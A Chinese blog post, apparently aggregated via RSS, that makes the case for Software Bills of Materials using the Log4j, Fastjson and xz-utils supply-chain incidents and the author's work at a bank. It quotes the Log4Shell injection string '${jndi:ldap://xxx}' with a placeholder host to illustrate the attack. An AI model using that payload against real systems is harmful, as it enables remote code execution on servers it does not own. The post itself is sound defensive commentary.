先不讲概念，先聊个真事。
2021 年 12 月，我记得很清楚，那天我正在银行客户现场做交付。
下午四五点的时候，客户的安全团队突然在群里炸了：Log4j 出了一个远程代码执行漏洞，CVSS 满分 10 分，影响范围极广。
攻击方式简单到离谱——用户在输入框里敲一行 ${jndi:ldap://xxx}，你的服务器就能被别人接管。不用登录，不用提权，直接 RCE。
然后接下来的事情，我估计很多人都经历过：
安全团队问开发："我们系统里有没有用 Log4j？"
开发说："应该有吧，我查查。"
这一查，就是好几天。
客户的核心交易系统大概有 200 多个微服务，分属不同业务线，不同时期由不同团队搭建。有的用 Spring Boot，有的用 Dubbo，有的还是老项目。每个服务的 pom.xml 里都塞了一堆依赖，谁也说不清 Log4j 到底被哪些服务直接或间接引用了。
最后怎么解决的？安全团队逼着每个服务的负责人自己去翻 pom.xml，一个一个查。折腾了将近一周，才勉强拉出一份"受影响服务清单"。
然后呢？升级 Log4j 版本，半天搞定。
找漏洞花了一周，修漏洞花了半天。
那天晚上回酒店的路上我就在想：这不对。问题不在于"怎么修"，而在于"去哪找"。如果连自己系统里用了什么都不知道，谈什么安全治理？
后来我见得越多，越确信一件事——这不是某一家银行的问题，几乎所有企业都处于同样的状态：你的软件供应链，实际上是失控的。
后来我做了一个统计，那个银行客户 200 多个微服务的代码仓库里，开源代码占比平均在 70% 以上，有几个老系统甚至超过 85%。
这不是个例。Synopsys 2023 年审计了 1700 多个代码库，发现 96% 的代码库包含开源组件，76% 的代码是开源代码。Veracode 的数据更狠——97% 的 Java 应用完全由开源组件构成。
也就是说，你花了几百人年搭起来的系统，大部分"砖"是别人免费给的。
这本身不是问题，开源组件让软件开发效率提升了不知道多少倍。问题在于——你用了别人的东西，但你不知道你用了什么。
这就像你盖了一栋楼，用了 200 家供应商的材料，但没有任何一份材料清单。有一天有人告诉你"3 号供应商的钢筋有质量问题"，你连这栋楼里哪些地方用了他家的钢筋都查不出来。
这就是所谓的"失控"。
除了 Log4j，我还经历过好几次类似的事。
有一次，安全团队通报 Fastjson 某个版本存在反序列化漏洞。我们赶紧去排查，发现系统里至少有 30 多个服务用了 Fastjson。但问题是——版本号五花八门，有 1.2.37 的，有 1.2.68 的，还有几个服务用的是 1.1.x 的老古董。
更头疼的是，有些服务不是直接引入的 Fastjson，而是通过某个二方库间接带进来的。开发自己都不知道自己用了 Fastjson。
你让开发一个个去查，效率极低，而且容易漏。漏掉一个，就是一个安全隐患。
你连"有什么"都不知道，怎么防？
还有一个场景特别常见。
系统里有个工具类，引用了一个叫 commons-collections 的 Apache 组件。这个组件的某个老版本有反序列化漏洞。我们要不要升级？升级了会不会影响现有功能？
问了三个开发，三个说法不一样：
第一个说："这个组件是我前任留下的，我也不知道为什么用这个版本。"
第二个说："升级过一次，但是测试环境跑不通，又回滚了。"
第三个说："这个类好像没什么地方在用，但不敢删。"
你看，一个组件，三个人三个态度，没有一个人能给出确定答案。最后只能先标记为"风险已知，暂不处理"——说白了就是搁置。
搁置不是解决了，是假装不存在。
2024 年出了一个大事件，不知道你关注了没有。
有个叫 xz-utils 的开源项目，是几乎所有 Linux 系统都默认安装的压缩工具。有个叫 Jia Tan 的人，从 2022 年开始给这个项目提交代码补丁，表现得很积极，慢慢获得了项目的维护权限。
然后他在 2024 年发布的 5.6.0 和 5.6.1 版本里，悄悄植入了一个后门。这个后门的目标是什么？劫持几乎所有 Linux 服务器的 SSH 登录。
如果不是微软的一个工程师偶然发现 sshd 登录速度变慢了，顺藤摸瓜查到了 xz-utils 的问题，这个后门不知道会被埋多久。
这事儿细思极恐的地方在于：xz-utils 是一个有十几年历史、被全球无数系统依赖的基础设施级项目。攻击者不是从外面攻破的，而是从内部渗透进去，变成了维护者。
你用的开源组件，可能已经不是原来的那个组件了。但你不知道。
你连"变没变"都感知不到，这叫什么？失控。
说完问题，说说很多企业现在的做法。
最常见的是让开发自己报。每次引入新组件，填个表，写明组件名、版本号、用途。听起来很合理对吧？
现实是：开发忙着写业务代码，填表这件事优先级永远排在最后。报上来的信息也不靠谱——版本号写错了、间接依赖没报、升级了忘了更新记录。半年后你去看那份表，跟实际情况已经对不上了。
还有用 Excel 维护的。我见过一个客户，安全团队维护了一份巨大的 Excel 表，记录了所有系统的开源组件信息。但是——
系统 A 升级了一个依赖版本，Excel 没更新
系统 B 新引入了一个组件，开发忘了报
系统 C 重构了，删了几个依赖，没人知道
三个月后，这份 Excel 就成了一份"历史文物"——有记录价值，但没有参考价值。
靠人的主动性和记忆去管理动态变化的依赖关系，注定管不住。
SBOM，Software Bill of Materials，软件物料清单。
概念不复杂，说白了就是给你的软件出一份"配料表"——里面用了哪些开源组件、什么版本、从哪来的、依赖关系是什么。
但它首先解决的，是可见性的问题——让你看得见你的系统里到底有什么。
还是拿 Log4j 举例。如果每个服务在构建的时候都自动生成了一份 SBOM，存到中央仓库里，那安全团队只需要在系统里搜一下 "log4j"，30 分钟内就能拉出完整的清单：
哪些服务用了 Log4j
用的是什么版本
是直接引入的还是间接依赖带进来的
每个服务的负责人是谁
不用翻 pom.xml，不用问开发，不用猜。
审计人员来检查，问："你们系统里用了哪些开源组件？许可证合规吗？"
没有 SBOM 的时候，你得翻历史邮件、找各个团队收集信息、手动整理成表格，搞上好几天，最后还不一定全。
有了 SBOM，一键导出。什么组件、什么版本、什么许可证、谁引入的、什么时候引入的，全部有据可查。
把"不知道"变成"知道"，把"查不到"变成"一键搞定"。
从这个角度看，SBOM 做的事情，本质上不是"列清单"，而是把原本不可见的软件依赖，变成可以被管理的资产数据。
SBOM 解决的是"可见性"问题。
但"看得见"只是第一步。
我见过太多企业，做了 SBOM、买了扫描工具、部署了自动化流水线，觉得自己挺现代化了。但开源依赖还是管不好。为什么？
因为看得见不等于管得住。
你看得见系统里有 30 个服务用了 Fastjson，但开发就是不升级，你怎么办？你看得见某个组件的 License 有风险，但业务说"这个功能下周就要上线，来不及换了"，你怎么决策？
可见性是基础，但光有可见性，你的系统依然是失控的。
如果把这件事拆开，其实至少需要三层能力：
第一层：可见性——你知道系统里用了什么、有什么风险
第二层：控制力——你能管住团队怎么用、出了事怎么处理
第三层：决策能力——你知道该不该用、用哪个、什么时候换
SBOM 解决的是第一层。但没有第一层，后面两层都无从谈起。
后面我会一篇一篇展开讲。
说到这里，可能有人觉得："我们公司目前没出过事，有必要搞这个吗？"
我理解这种想法。但我想说两个事实：
2021 年，美国政府发布了总统行政令 EO 14028，要求所有向联邦政府交付的软件必须提供 SBOM。这不是建议，是强制要求。
中国也已经发布了 GB/T 47020《网络安全技术 软件物料清单数据格式》国家标准，中国信通院已经启动了 SBOM 国标符合性验证工作。
趋势很明确：SBOM 正在从"最好有"变成"必须有"。尤其是金融、政务这些强监管行业，早晚会面对这个要求。
与其等审计来了临时抱佛脚，不如现在就建起来。
最后说说那个银行项目后来的变化。
我们在交付过程中帮客户建了一套 SBOM 机制：每次 CI 构建的时候自动生成物料清单，推送到中央仓库。所有服务的开源组件信息实时更新，不用人手工维护。
效果很直观：
之前安全团队问"系统里有没有用 X 组件"，48 小时答不上来；后来同样的查询，2 小时出结果
之前合规审计准备软件成分清单，几个人搞了好几天还经常漏；后来一键导出
之前新引入组件没人管，出了事找不到责任人；后来每个组件什么时候引入的、谁引入的、为什么引入，全部有记录
不是什么花哨的技术方案，就是把"看不见"的东西变得"看得见"了。
从失控，到可控的第一步。
但如果只有这一步，你的系统，依然是失控的。
很多人到这里会产生一个错觉："我们已经做了 DevOps，CI/CD 也跑起来了，这些问题应该已经解决了。"
但现实往往正好相反。
下一篇聊聊：企业为什么"做了 DevOps 仍然管不好开源依赖"？
此内容由惯性聚合(RSS阅读器)自动聚合整理，仅供阅读参考。 原文来自 — 版权归原作者所有。